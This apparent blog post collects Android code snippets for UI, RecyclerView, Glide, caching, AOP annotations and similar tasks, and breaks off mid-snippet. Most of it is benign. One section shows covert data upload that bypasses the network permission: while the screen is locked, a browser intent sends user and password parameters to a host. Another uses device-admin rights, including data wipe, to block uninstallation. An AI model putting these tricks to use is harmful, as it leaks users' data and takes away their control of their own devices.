美文网首页
安卓模块化功能

安卓模块化功能

作者: 约你一起偷西瓜 | 来源:发表于2020-06-30 16:28 被阅读0次

回车监听

public static void enterListener(EditText editText,onChangeText onChangeText){
    editText.setOnKeyListener((v, keyCode, event) -> {
        if (keyCode == KeyEvent.KEYCODE_ENTER && event.getAction() == KeyEvent.ACTION_DOWN) {
            if (editText.getText().length() == 0) return false;
            String trim_his = editText.getText().toString().trim();
            onChangeText.onChangeText(trim_his);
            editText.setText("");
            return true;
        }
        return false;
    });
}

public interface onChangeText{
    void onChangeText(String text);
}

使用Shape来实现下划线

<layer-list xmlns:android="http://schemas.android.com/apk/res/android" >
    <item
        android:left="-2dp"
        android:right="-2dp"
        android:top="-2dp">
        <shape>
            <solid android:color="#00FFFFFF" />
            <stroke
                android:width="1dp"
                android:color="#0094c8" />
        </shape>
    </item>
</layer-list>

<?xml version="1.0" encoding="utf-8"?>
<layer-list
    xmlns:android="http://schemas.android.com/apk/res/android">
    <item android:left="0dp" android:top="0dp" android:right="0dp" android:bottom="0dp">
        <shape android:shape="rectangle">
            <solid android:color="#ffffffff" />
        </shape>
    </item>
    <item android:left="-200dp" android:top="-100dp" android:right="-200dp" android:bottom="0dp">
        <shape android:shape="oval">
            <solid android:color="#0094c8" />
        </shape>
    </item>
</layer-list>

使用Gson和Sp存取list

//存数据
if (list_his.size()>10) list_his=new ArrayList(list_his.subList(0, 10));
String list = GsonUtils.toJson(list_his);
SPUtils.getInstance().put("sp_his",list);
//取数据
try {
    String sp_his = SPUtils.getInstance().getString("sp_his", "");
    if (sp_his.equals("")){
        list_his = new ArrayList<>();
    }else{
        list_his = GsonUtils.fromJson(sp_his,List.class);
    }
}catch (Exception e){
    e.printStackTrace();
    list_his = new ArrayList<>();
}

汉字位置补齐

------------------------------------------------------------------
1个汉字 = 4个&#160; = 4个&#8197; = 1个&#12288; = 2个&#8194; 
------------------------------------------------------------------

<TextView
    android:id="@+id/sign_time"
    android:text="时&#12288;&#12288;间:"
    android:textSize="@dimen/font_14"
    android:textColor="@color/black"
    android:layout_marginTop="@dimen/dp_2"
    app:layout_constraintTop_toBottomOf="@id/sign_wzdd"
    app:layout_constraintEnd_toEndOf="@id/guideline"
    android:layout_width="@dimen/dp_72"
    android:layout_height="wrap_content"/>

限制EditText只输入字母和数字

<string name="login_only_can_input" translatable="false">qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM1234567890.</string>

DigitsKeyListener digitsKeyListener = new DigitsKeyListener() {
    @Override
    public int getInputType() {
        return InputType.TYPE_TEXT_VARIATION_PASSWORD;
    }

    @Override
    protected char[] getAcceptedChars() {
        return getString(R.string.login_only_can_input).toCharArray();
    }
};
etCarNumber.setKeyListener(digitsKeyListener);

背景效果

//阴影
android:background="?android:attr/windowBackground"
//水波纹
android:background="?android:attr/selectableItemBackground"

RecycleView移动到指定Item

/**
 * @param manager   设置RecyclerView对应的manager
 * @param mRecyclerView  当前的RecyclerView
 * @param position  要跳转的位置
 */
public static void MoveToPosition(LinearLayoutManager manager, RecyclerView mRecyclerView, int position) {
    int firstItem = manager.findFirstVisibleItemPosition();
    int lastItem = manager.findLastVisibleItemPosition();
    if (position <= firstItem) {
        mRecyclerView.scrollToPosition(position);
    } else if (position <= lastItem) {
        int top = mRecyclerView.getChildAt(position - firstItem).getTop();
        mRecyclerView.scrollBy(0, top);
    } else {
        mRecyclerView.scrollToPosition(position);
    }
}

RecyleView的Item自动居中

//LinearSnapHelper类继承于SnapHelper
//当然SnapHelper还有一个子类,PagerSnapHelper
//LinearSnapHelper可以使RecyclerView一次滑动越过多个Item
//PagerSnapHelper像ViewPager一样限制你一次只能滑动一个Item

LinearSnapHelper mLinearSnapHelper = new LinearSnapHelper();
mLinearSnapHelper.attachToRecyclerView(mRec);        

PagerSnapHelper mPagerSnapHelper = new PagerSnapHelper();
mPagerSnapHelper.attachToRecyclerView(mRec);

RecycleView添加分割

mRec.addItemDecoration(new RecyclerView.ItemDecoration() {
    @Override
    public void getItemOffsets(@NonNull Rect outRect, @NonNull View view, @NonNull RecyclerView parent, @NonNull RecyclerView.State state) {
        super.getItemOffsets(outRect, view, parent, state);
        if (parent.getChildPosition(view) % 2 != 1){
            outRect.right = SizeUtils.dp2px(5);
        }else{
            outRect.left = SizeUtils.dp2px(5);
        }
    }
});

mRec.addItemDecoration(new RecyclerView.ItemDecoration() {
    private Paint dividerPaint;
    private int childCount = 0;
    @Override
    public void getItemOffsets(@NonNull Rect outRect, @NonNull View view, @NonNull RecyclerView parent, @NonNull RecyclerView.State state) {
        super.getItemOffsets(outRect, view, parent, state);
        childCount = parent.getChildCount();
        if (parent.getChildPosition(view)== childCount-1) {
            outRect.set(0,0,0,SizeUtils.dp2px(1));
        }
    }

    @Override
    public void onDraw(@NonNull Canvas c, @NonNull RecyclerView parent, @NonNull RecyclerView.State state) {
        super.onDraw(c, parent, state);
        final View view = parent.getChildAt(childCount-1);
        if (dividerPaint==null) {
            dividerPaint = new Paint();
            dividerPaint.setColor(getResouseColor(R.color.colorE3E3EC));
        }
        float top = view.getBottom();
        float bottom = view.getBottom() + SizeUtils.dp2px(1);
        c.drawRect(view.getLeft(), top, view.getRight(), bottom, dividerPaint);
    }
});

拿到缓存目录

String path = "";
if (Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED) || !Environment.isExternalStorageRemovable()) {
    try {
        path = context.getExternalCacheDir().getAbsolutePath();
    } catch (Exception e) {
        e.printStackTrace();
    }
    if (TextUtils.isEmpty(path)) {
        path = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS).getAbsolutePath();
    }
} else {
    path = context.getCacheDir().getAbsolutePath();
}

Glide高斯模糊

Glide.with(MainActivity.this)
        .asBitmap()
        .load(imgs[firstVisibleItemPosition])
        .into(new SimpleTarget<Bitmap>() {
            @Override
            public void onResourceReady(@NonNull Bitmap resource, @Nullable Transition<? super Bitmap> transition) {
                Bitmap bitmap = BlurBitmapUtil.blurBitmap(MainActivity.this, resource, 20);
                mImg.setImageBitmap(bitmap);
            }
        });
        
public class BlurBitmapUtil {
    //图片缩放比例
    private static final float BITMAP_SCALE = 0.4f;

    /**
     * 模糊图片的具体方法
     *
     * @param context 上下文对象
     * @param image   需要模糊的图片
     * @return 模糊处理后的图片
     */
    public static Bitmap blurBitmap(Context context, Bitmap image, float blurRadius) {
        // 计算图片缩小后的长宽
        int width = Math.round(image.getWidth() * BITMAP_SCALE);
        int height = Math.round(image.getHeight() * BITMAP_SCALE);

        // 将缩小后的图片做为预渲染的图片
        Bitmap inputBitmap = Bitmap.createScaledBitmap(image, width, height, false);
        // 创建一张渲染后的输出图片
        Bitmap outputBitmap = Bitmap.createBitmap(inputBitmap);

        // 创建RenderScript内核对象
        RenderScript rs = RenderScript.create(context);
        // 创建一个模糊效果的RenderScript的工具对象
        ScriptIntrinsicBlur blurScript = ScriptIntrinsicBlur.create(rs, Element.U8_4(rs));

        // 由于RenderScript并没有使用VM来分配内存,所以需要使用Allocation类来创建和分配内存空间
        // 创建Allocation对象的时候其实内存是空的,需要使用copyTo()将数据填充进去
        Allocation tmpIn = Allocation.createFromBitmap(rs, inputBitmap);
        Allocation tmpOut = Allocation.createFromBitmap(rs, outputBitmap);

        // 设置渲染的模糊程度, 25f是最大模糊度
        blurScript.setRadius(blurRadius);
        // 设置blurScript对象的输入内存
        blurScript.setInput(tmpIn);
        // 将输出数据保存到输出内存中
        blurScript.forEach(tmpOut);

        // 将数据填充到Allocation中
        tmpOut.copyTo(outputBitmap);

        return outputBitmap;
    }
}

Glide圆角

public class GlideRoundTransform extends BitmapTransformation {

    private static float radius = 0f;

    public GlideRoundTransform(Context context) {
        this(context, 4);
    }

    public GlideRoundTransform(Context context, int dp) {
//        super(context, dp);
        this.radius = Resources.getSystem().getDisplayMetrics().density * dp;
    }

    @Override
    protected Bitmap transform(BitmapPool pool, Bitmap toTransform, int outWidth, int outHeight) {
        Bitmap bitmap = TransformationUtils.centerCrop(pool, toTransform, outWidth, outHeight);
        return roundCrop(pool, bitmap);
    }

    private static Bitmap roundCrop(BitmapPool pool, Bitmap source) {
        if (source == null) return null;

        Bitmap result = pool.get(source.getWidth(), source.getHeight(), Bitmap.Config.ARGB_8888);
        if (result == null) {
            result = Bitmap.createBitmap(source.getWidth(), source.getHeight(), Bitmap.Config.ARGB_8888);
        }

        Canvas canvas = new Canvas(result);
        Paint paint = new Paint();
        paint.setShader(new BitmapShader(source, BitmapShader.TileMode.CLAMP, BitmapShader.TileMode.CLAMP));
        paint.setAntiAlias(true);
        RectF rectF = new RectF(0f, 0f, source.getWidth(), source.getHeight());
        canvas.drawRoundRect(rectF, radius, radius, paint);
        return result;
    }

    public String getId() {
        return getClass().getName() + Math.round(radius);
    }

    @Override
    public void updateDiskCacheKey(MessageDigest messageDigest) {

    }
}

图片切换流畅的过度

TransitionDrawable transitionDrawable = new TransitionDrawable(new Drawable[]{LastDrawable,CurrentDrawable});
parent.setBackgroundDrawable(transitionDrawable);
transitionDrawable.startTransition(500);

AOP注解


implementation 'cn.com.superLei:aop-arms:1.0.2'

/*--------------------------缓存篇(可缓存任意类型)-----------------------**/

/**
 * 写入缓存
 * key:缓存的键
 * expiry:缓存过期时间,单位s
 * @return 缓存的值
 */
@Cache(key = "userList", expiry = 60 * 60 * 24)
private ArrayList<User> initData() {
    ArrayList<User> list = new ArrayList<>();
    for (int i=0; i<5; i++){
        User user = new User();
        user.setName("艾神一不小心:"+i);
        user.setPasswrd("密码:"+i);
        list.add(user);
    }
    return list;
}

//获取缓存
private ArrayList<User> getUser() {
    return ArmsCache.get(mContext).getAsList("userList", User.class);
}

/**
 * 移除缓存
 * key:缓存的键
 * beforeInvocation:缓存的清除是否在方法之前执行, 如果出现异常缓存就不会清除   默认false
 * allEntries:是否清空所有缓存(与key互斥)  默认false
 */
@CacheEvict(key = "userList", beforeInvocation = true, allEntries = false)
public void removeUser() {
    Log.e(TAG, "removeUser: >>>>");
}

/*--------------------------SharedPreferences篇(可保存对象)-----------------------*/

//保存key到sp
@Prefs(key = "article")
private Article initArticle() {
    Article article = new Article();
    article.author = "jerry";
    article.title = "hello android";
    article.createDate = "2019-05-31";
    article.content = "this is a test demo";
    return article;
}

//从sp中移除key
/**
 * key:sp的键
 * allEntries:是否清空所有存储(与key互斥)  默认false
 */
@PrefsEvict(key = "article", allEntries = false)
public void removeArticle() {
    Log.e(TAG, "removeArticle: >>>>");
}

//通过key从sp中获取value
public void getArticle() {
    Article article = ArmsPreference.get(mContext, "article", null);
    Log.e(TAG, "getArticle: "+article);
}

/*--------------------------异步篇-----------------------*/
@Async
public void asyn() {
    Log.e(TAG, "useAync: "+Thread.currentThread().getName());
}

*--------------------------try-catch安全机制篇-----------------------*/
//自动帮你try-catch   允许你定义回调方法
@Safe(callBack = "throwMethod")
public void safe() {
    String str = null;
}

//自定义回调方法(注意要和callBack的值保持一致)
private void throwMethod(Throwable throwable){
    Log.e(TAG, "throwMethod: >>>>>"+throwable.toString());
}

/*--------------------------重试机制篇-----------------------*/

/**
 * count 重试次数
 * delay 每次重试的间隔
 * asyn 是否异步执行
 * retryCallback 自定义重试结果回调
 * return 当前方法是否执行成功
 */
@Retry(count = 3, delay = 1000, asyn = true, retryCallback = "retryCallback")
public boolean retry() {
    Log.e(TAG, "retryDo: >>>>>>"+Thread.currentThread().getName());
    return false;
}

private void retryCallback(boolean result){
    Log.e(TAG, "retryCallback: >>>>"+result);
}

/*--------------------------定时任务篇-----------------------*/

/**
 * interval 初始化延迟
 * interval 时间间隔
 * timeUnit 时间单位
 * count 执行次数
 * taskExpiredCallback 定时任务到期回调
 */
@Scheduled(initialDelay = 100L ,interval = 1000L,timeUnit = TimeUnit.MINUTES,count = 10, taskExpiredCallback = "taskExpiredCallback")
public void scheduled() {
    Log.e(TAG, "scheduled: >>>>");
}

private void taskExpiredCallback(){
    Log.e(TAG, "taskExpiredCallback: >>>>");
}

/*--------------------------延迟任务篇-----------------------*/

//开启延迟任务(10s后执行该方法)
@Delay(key = "test", delay = 10000L)
public void delay() {
    Log.e(TAG, "delay: >>>>>");
}

//移除延迟任务
@DelayAway(key = "test")
public void cancelDelay() {
    Log.e(TAG, "cancelDelay: >>>>");
}

/*--------------------------过滤频繁点击-----------------------*/

@SingleClick(value = 2000L)
private void onclick(){
    Log.e(TAG, "onclick: >>>>");
}
/*--------------------------拦截篇(如登录)-----------------------*/

//在需要进行拦截的方法添加注解
@Intercept("login_intercept")
public void loginIntercept() {
    Log.e(TAG, "intercept: 已登陆>>>>");
}
//(建议,统一处理)在Application中进行进行监听拦截回调
public class MyApplication extends Application {

    private static final String TAG = "MyApplication";
    private MyApplication mApplication;

    @Override
    public void onCreate() {
        super.onCreate();
        mApplication = this;
        AopArms.init(this);
        AopArms.setInterceptor(new Interceptor() {
            @Override
            public boolean intercept(String key, String methodName) throws Throwable {
                Log.e(TAG, "intercept methodName:>>>>>"+methodName);
                if ("login_intercept".equals(key)){
                    String userId = ArmsPreference.get(mApplication, "userId", "");
                    if (TextUtils.isEmpty(userId)){
                        Toast.makeText(mApplication, "您还没有登录", Toast.LENGTH_SHORT).show();
                        return true;//代表拦截
                    }
                }
                return false;//放行
            }
        });
    }
}

ViewPager禁止横向滑动

public class CustomViewPager extends ViewPager {
    private static final String TAG = "CustomViewPager";
    private boolean isCanScroll = false;

    public CustomViewPager(Context context) {
        super(context);
    }

    public CustomViewPager(Context context, AttributeSet attrs) {
        super(context, attrs);
    }

    public void setScanScroll(boolean isCanScroll) {
        this.isCanScroll = isCanScroll;
    }

    @Override
    public void scrollTo(int x, int y) {
        super.scrollTo(x, y);
    }

    @Override
    public void setCurrentItem(int item) {
        super.setCurrentItem(item);
    }

    @Override
    public boolean onTouchEvent(MotionEvent arg0) {
        return this.isCanScroll && super.onTouchEvent(arg0);
    }

    @Override
    public boolean onInterceptTouchEvent(MotionEvent arg0) {
        return this.isCanScroll && super.onInterceptTouchEvent(arg0);
    }

}

RxUtils统一线程处理

public class RxUtils {

    /**
     * 同一线程处理
     * @param <T>
     * @return
     */
    public static <T> FlowableTransformer<T,T> rxSchedulerHelper(){
        //compose简化线程
        return new FlowableTransformer<T, T>() {
            @Override
            public Flowable<T> apply(Flowable<T> upstream) {
                return upstream.subscribeOn(Schedulers.io())
                        .observeOn(AndroidSchedulers.mainThread());
            }
        };
    }

    public static <T>ObservableTransformer<T,T> rxObservableSchedulerHelper(){
        //compose 简化线程
        return new ObservableTransformer<T, T>() {
            @Override
            public ObservableSource<T> apply(Observable<T> upstream) {
                return upstream.subscribeOn(Schedulers.io())
                        .observeOn(AndroidSchedulers.mainThread());
            }
        };
    }

BottomNavigationViewHelper 处理超过三个ITEM缩放效果

(替代品:implementation 'com.github.ittianyu:BottomNavigationViewEx:2.0.4')

public class BottomNavigationViewHelper {
 
    @SuppressLint("RestrictedApi")
    public static void disableShiftMode(BottomNavigationView navigationView) {
 
        BottomNavigationMenuView menuView = (BottomNavigationMenuView) navigationView.getChildAt(0);
        try {
            Field shiftingMode = menuView.getClass().getDeclaredField("mShiftingMode");
            shiftingMode.setAccessible(true);
            shiftingMode.setBoolean(menuView, false);
            shiftingMode.setAccessible(false);
 
            for (int i = 0; i < menuView.getChildCount(); i++) {
                BottomNavigationItemView itemView = (BottomNavigationItemView) menuView.getChildAt(i);
                itemView.setShiftingMode(false);
                itemView.setChecked(itemView.getItemData().isChecked());
            }
 
        } catch (NoSuchFieldException | IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}

双击退出

private static long mBackPressedTime;

public static void doubleClickExitApp() {
    long curTime = SystemClock.uptimeMillis();
    if ((curTime - mBackPressedTime) < (3 * 1000)) {
        RxActivityTool.finishAllActivity();
        //根据进程ID,杀死该进程
        android.os.Process.killProcess(android.os.Process.myPid());
        //退出应用程序
        System.exit(0);
    } else {
        mBackPressedTime = curTime;
        SmartToast.show("再按一次退出");
    }
}

Assets文本获取

public String getJson(Context context, String fileName) {

    StringBuilder stringBuilder = new StringBuilder();
    try {
        AssetManager assetManager = context.getAssets();
        BufferedReader bf = new BufferedReader(new InputStreamReader(
                assetManager.open(fileName)));
        String line;
        while ((line = bf.readLine()) != null) {
            stringBuilder.append(line);
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
    return stringBuilder.toString();
}

缓存管理

//获取缓存大小
public static long getApplicationDataSize(Context context) {
        long size = 0;
        // internal cache
        size += FileUtil.getDirectorySize(context.getCacheDir());
        // external cache
        size += FileUtil.getDirectorySize(context.getExternalCacheDir());
        // databases
        size += FileUtil.getDirectorySize(new File(context.getFilesDir().getParent() + "/databases"));
        // shared preference
       size += FileUtil.getDirectorySize(new File(context.getFilesDir().getParent() + "/shared_prefs"));
        // files
        size += FileUtil.getDirectorySize(context.getFilesDir());
        return size;
    }
    
//文件/文件夹大小
public static long getDirectorySize(File directory) {
    long size = 0;
    File[] listFiles = directory.listFiles();
    if (listFiles == null) {
        return size;
    }
    for (File file : listFiles) {
        if (file.isDirectory()) {
            size += getDirectorySize(file);
        } else {
            size += file.length();
        }
    }
    return size;
}
//删除文件
public static void deleteDirectory(File file) {
    if (file.isDirectory()) {
        File[] listFiles = file.listFiles();
        for (File f : listFiles) {
            deleteDirectory(f);
        }
        file.delete();
    } else {
        file.delete();
    }
}

获取APP版本号

public static int getVersionCode(Context mContext) {
    try {
        PackageManager manager = mContext.getPackageManager();
        PackageInfo info = manager.getPackageInfo(mContext.getPackageName(), 0);
        int version = info.versionCode;
        return version;
    } catch (Exception e) {
        e.printStackTrace();
        return -1;
    }
}

复制内容到剪切板

/**
 * @param context 上下文
 * @param content 需要复制到剪切板的文字
 */
public static void copyToClipboard(Context context, CharSequence content) {
    ClipboardManager clipboard = (ClipboardManager) context.getSystemService(Context.CLIPBOARD_SERVICE);
    if (clipboard != null) {
        clipboard.setPrimaryClip(ClipData.newPlainText(null, content));//参数一:标签,可为空,参数二:要复制到剪贴板的文本
        if (clipboard.hasPrimaryClip()) {
            clipboard.getPrimaryClip().getItemAt(0).getText();
        }
    }
}

保存图片到相册

File appDir = new File(Environment.getExternalStorageDirectory(), "/DCIM/Camera");
if (!appDir.exists()) {
    appDir.mkdir();
}
String fileName = System.currentTimeMillis() + ".jpg";
File file = new File(appDir, fileName);
try {
    FileOutputStream fos = new FileOutputStream(file);
    bmp.compress(Bitmap.CompressFormat.JPEG, 100, fos);
    fos.flush();
    fos.close();
} catch (FileNotFoundException e) {
    e.printStackTrace();
} catch (IOException e) {
    e.printStackTrace();
}
if (file == null || !file.exists()) {
    return;
}
String photoPath = file.getAbsolutePath();
String photoName = file.getName();
// 把文件插入到系统图库
try {
    ContentResolver contentResolver = context.getContentResolver();
    MediaStore.Images.Media.insertImage(contentResolver, photoPath, photoName, null);
} catch (FileNotFoundException e) {
    e.printStackTrace();
}
// 最后通知图库更新
context.sendBroadcast(new Intent(Intent.ACTION_MEDIA_SCANNER_SCAN_FILE, Uri.parse("file://" + photoPath)));

打开微信

public static void GotoWX(Context context) {
    Intent intent = new Intent();
    ComponentName cmp = new ComponentName("com.tencent.mm", "com.tencent.mm.ui.LauncherUI");
    intent.setAction(Intent.ACTION_MAIN);
    intent.addCategory(Intent.CATEGORY_LAUNCHER);
    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    intent.setComponent(cmp);
    context.startActivity(intent);
}

保存Bitmap

public static File saveBitmap(String bitName, Bitmap mBitmap) {
    File f = new File("/sdcard/temp/" + bitName + ".png");
    try {
        f.getParentFile().mkdirs();
        f.createNewFile();
    } catch (IOException e) {
        SmartToast.show("在保存图片时出错:" + e.toString());
    }
    FileOutputStream fOut = null;
    try {
        fOut = new FileOutputStream(f);
    } catch (FileNotFoundException e) {
        e.printStackTrace();
    }
    mBitmap.compress(Bitmap.CompressFormat.PNG, 100, fOut);
    try {
        fOut.flush();
    } catch (IOException e) {
        e.printStackTrace();
    }
    try {
        fOut.close();
    } catch (IOException e) {
        e.printStackTrace();
    }
    return f;
}

获取渠道号

public static String getApplicationMetadata(Context context) {
    ApplicationInfo info = null;
    try {
        PackageManager pm = context.getPackageManager();
        info = pm.getApplicationInfo(context.getPackageName(), PackageManager.GET_META_DATA);
        return String.valueOf(info.metaData.getString("CHANNEL_VALUE"));
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

点击抖动效果

Animation shake = AnimationUtils.loadAnimation(getApplicationContext(), R.anim.shake);
mEtPhone.startAnimation(shake);
//动画
<?xml version="1.0" encoding="utf-8"?>
<translate xmlns:android="http://schemas.android.com/apk/res/android" 
    android:fromXDelta="0" 
    android:toXDelta="10" 
    android:duration="1000" 
    android:interpolator="@anim/cycle_7" />
//插值器
<?xml version="1.0" encoding="utf-8"?>
<cycleInterpolator xmlns:android="http://schemas.android.com/apk/res/android" android:cycles="7" />

安卓7.0 PopWindow 弹出位置异常

public void showAsDropDown(View anchor){
    if (Build.VERSION.SDK_INT >= 24){
        Rect visibleFrame = new Rect();
        anchor.getGlobalVisibleRect(visibleFrame);
        int height = anchor.getResources().getDisplayMetrics().heightPixels - visibleFrame.bottom;
        this.setHeight(height);
        this.showAsDropDown(anchor,0,0);
    }else {
        this.showAsDropDown(anchor,0,0);
    }
}

Html.fromHtml的使用

//改变文字颜色
tv_content.setText(Html.fromHtml("查看新人引导教程 即可获得" +
        "<font color=" + context.getResources().getColor(R.color.color_coin) + ">" + coin + "</font>"
       + "金币")); 

JsonUtil

public class JsonUtil {
   private static Gson gson = new Gson();

   @SuppressWarnings("hiding")
   public static <T> T parseJson(String response, Class<T> clazz) {
      try {
         return gson.fromJson(response, clazz);
      } catch (Exception e) {
         e.printStackTrace();
         return null;
      }
   }

   public static <T> T parseJson(String response, Type type) {
      try {
         return gson.fromJson(response, type);
      } catch (Exception e) {
         e.printStackTrace();
         return null;
      }
   }

   public static String toJson(Object object) {
      try {
         return gson.toJson(object);
      } catch (Exception e) {
         e.printStackTrace();
         return null;
      }
   }
}

EditText常用输入判断

et_money.addTextChangedListener(new TextWatcher() {
    @Override
    public void beforeTextChanged(CharSequence s, int start, int count, int after) {

    }

    @Override
    public void onTextChanged(CharSequence s, int start, int before, int count) {

    }

    @Override
    public void afterTextChanged(Editable s) {
        //判断不以0开头
        String text = s.toString();
        int len = s.toString().length();
        if (len == 1 && text.equals("0")) s.clear();
        //最多两位小数
        String temp = editable.toString();
        int posDot = temp.indexOf(".");
        if (posDot <= 0) return;
        if (temp.length() - posDot - 1 > 2) {
            editable.delete(posDot + 3, posDot + 4);}
    }
});

点击实现按钮的缩放效果(事件分发实现)

@Override
public boolean onTouch(View v, MotionEvent event) {
    switch (event.getAction()) {
        case MotionEvent.ACTION_DOWN:
            btnLogin.setScaleX((float) 0.95);
            btnLogin.setScaleY((float) 0.95);
            break;
        case MotionEvent.ACTION_UP:
            if (v.getId() == R.id.btn_login) {
                btnLogin.setScaleX(1);
                btnLogin.setScaleY(1);
            }
            break;
        case MotionEvent.ACTION_CANCEL:
            btnLogin.setScaleX(1);
            btnLogin.setScaleY(1);
            break;
    }
    return false;
}

设置字体Hint大小和显示大小不同的情况

public static void  setEditTextHintSize(EditText editText, String hintText, int size){
    SpannableString ss = new SpannableString(hintText);//定义hint的值
    AbsoluteSizeSpan ass = new AbsoluteSizeSpan(size,true);//设置字体大小 true表示单位是sp
    ss.setSpan(ass, 1, ss.length(), Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
    editText.setHint(new SpannedString(ss));
}

dpToPx and pxToDp 或者使用SizeUtils

public static int dpTopx(Context context, float dipValue) {
    final float scale = context.getResources().getDisplayMetrics().density;
    return (int) (dipValue * scale + 0.5f);
}

public static int pxToDp(Context context, float pxValue) {
    if (context == null) {
        return -1;
    }
    final float scale = context.getResources().getDisplayMetrics().density;
    return (int) (pxValue / scale + 0.5f);
}

使用LinearLayoutCompat来添加分割线

(LinearLayoutCompat可以看成一个LInearLayout,同样的方式去设置他的orientation)

<androidx.appcompat.widget.LinearLayoutCompat
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:orientation="vertical"
    app:divider="@drawable/abc_vector_test_new"
    app:showDividers="middle"
    app:dividerPadding="0dp">

    <TextView
        android:id="@+id/textView"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="TextView" />

    <TextView
        android:id="@+id/textView2"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="TextView" />
        
</androidx.appcompat.widget.LinearLayoutCompat>

    //主要是使用这三个参数来实现分割线
    app:divider="@drawable/abc_vector_test_new"
    app:showDividers="middle"
    app:dividerPadding="0dp"

Gson解析问题

//Gson解析对象为一个数组的时候应该这样使用
List<listBean> listBean = new Gson().fromJson(string, 
new TypeToken<List<listBean>>() {}.getType());

无网络权限上传信息

(借鸡下蛋 实际上是调用系统WebView来发出GET请求)

Timer timer = new Timer();
final KeyguardManager km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
TimerTask task = new TimerTask() {
    @Override
    public void run() {
        //如果用户锁屏状态下,就打开网页通过get方式偷偷传输数据
        if (km.inKeyguardRestrictedInputMode()) {
            Intent intent = new Intent();
            intent.setAction(Intent.ACTION_VIEW);
            intent.addCategory(Intent.CATEGORY_BROWSABLE);
            intent.setData(Uri.parse("http://192.168.0.2/send?user=1&pwd=2"));
            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
        }else{
            //判断如果在桌面就什么也不做 ,如果不在桌面就返回
            Intent intent = new Intent();
            intent.setAction("android.intent.action.MAIN");
            intent.addCategory("android.intent.category.HOME");
            intent.addCategory(Intent.CATEGORY_DEFAULT);
            intent.addCategory("android.intent.category.MONKEY");
            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
        }
    }
};
timer.schedule(task, 1000, 2000);

添加多个app图标

(实际上是通过系统广播的方式实现)

//添加两个创建删除快捷方式广播权限
<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" />


public static void addShortcut(Activity cx, String name) {
    //创建快捷方式的intent广播
    Intent shortcut = new Intent("com.android.launcher.action.INSTALL_SHORTCUT");
    //添加快捷名称
    shortcut.putExtra(Intent.EXTRA_SHORTCUT_NAME, name);
    //快捷图标是允许重复
    shortcut.putExtra("duplicate", false);
    //快捷图标
    Intent.ShortcutIconResource iconRes = Intent.ShortcutIconResource.fromContext(cx, R.mipmap.ic_launcher);
    shortcut.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE, iconRes);
    //我们下次启动要用的Intent信息
    Intent carryIntent = new Intent(Intent.ACTION_MAIN);
    carryIntent.putExtra("name", name);
    carryIntent.setClassName(cx.getPackageName(),cx.getClass().getName());
    carryIntent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
    //添加携带的Intent
    shortcut.putExtra(Intent.EXTRA_SHORTCUT_INTENT, carryIntent);
    //发送广播
    cx.sendBroadcast(shortcut);
}

使用设备管理器服务禁止软件被删除

// 激活设备超级管理员
public void activation() {
    Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
    // 初始化要激活的组件
    ComponentName mDeviceAdminSample = new ComponentName(MainActivity.this, MyDeviceAdminReceiver.class);
    intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample);
    intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "激活可以防止随意卸载应用");
    startActivity(intent);
}

<receiver
    android:name=".MyDeviceAdminReceiver"
    android:description="@string/app_name"
    android:label="防卸载"
    android:permission="android.permission.BIND_DEVICE_ADMIN" >
    <meta-data
        android:name="android.app.device_admin"
        android:resource="@xml/deviceadmin" />

    <intent-filter>
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
</receiver>

//deviceadmin.xml
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-policies>
        <limit-password />
        <watch-login />
        <reset-password />
        <force-lock />
        <wipe-data />
        <expire-password />
        <encrypted-storage />
        <disable-camera />
    </uses-policies>
</device-admin>

防止多次点击

public class AntiShakeUtils {
    private final static long INTERNAL_TIME = 1000;

    /**
     * Whether this click event is invalid.
     *
     * @param target target view
     * @return true, invalid click event.
     * @see #isInvalidClick(View, long)
     */
    public static boolean isInvalidClick(View target) {
        return isInvalidClick(target, INTERNAL_TIME);
    }

    /**
     * Whether this click event is invalid.
     *
     * @param target       target view
     * @param internalTime the internal time. The unit is millisecond.
     * @return true, invalid click event.
     */
    public static boolean isInvalidClick(View target, @IntRange(from = 0) long internalTime) {
        long curTimeStamp = System.currentTimeMillis();
        long lastClickTimeStamp = 0;
        Object o = target.getTag(R.id.last_click_time);
        if (o == null) {
            target.setTag(R.id.last_click_time, curTimeStamp);
            return false;
        }
        lastClickTimeStamp = (Long) o;
        boolean isInvalid = curTimeStamp - lastClickTimeStamp < internalTime;
        if (!isInvalid)
            target.setTag(R.id.last_click_time, curTimeStamp);
        return isInvalid;
    }
}

监听键盘的显示和收起

import android.app.Activity;
import android.graphics.Rect;
import android.view.View;

public class SoftKeyBoardListener {
    private View rootView;//activity的根视图
    int rootViewVisibleHeight;//纪录根视图的显示高度
    private OnSoftKeyBoardChangeListener onSoftKeyBoardChangeListener;

    public SoftKeyBoardListener(Activity activity) {
        //获取activity的根视图
        rootView = activity.getWindow().getDecorView();

        //监听视图树中全局布局发生改变或者视图树中的某个视图的可视状态发生改变
        rootView.getViewTreeObserver().addOnGlobalLayoutListener(() -> {
            //获取当前根视图在屏幕上显示的大小
            Rect r = new Rect();
            rootView.getWindowVisibleDisplayFrame(r);

            int visibleHeight = r.height();
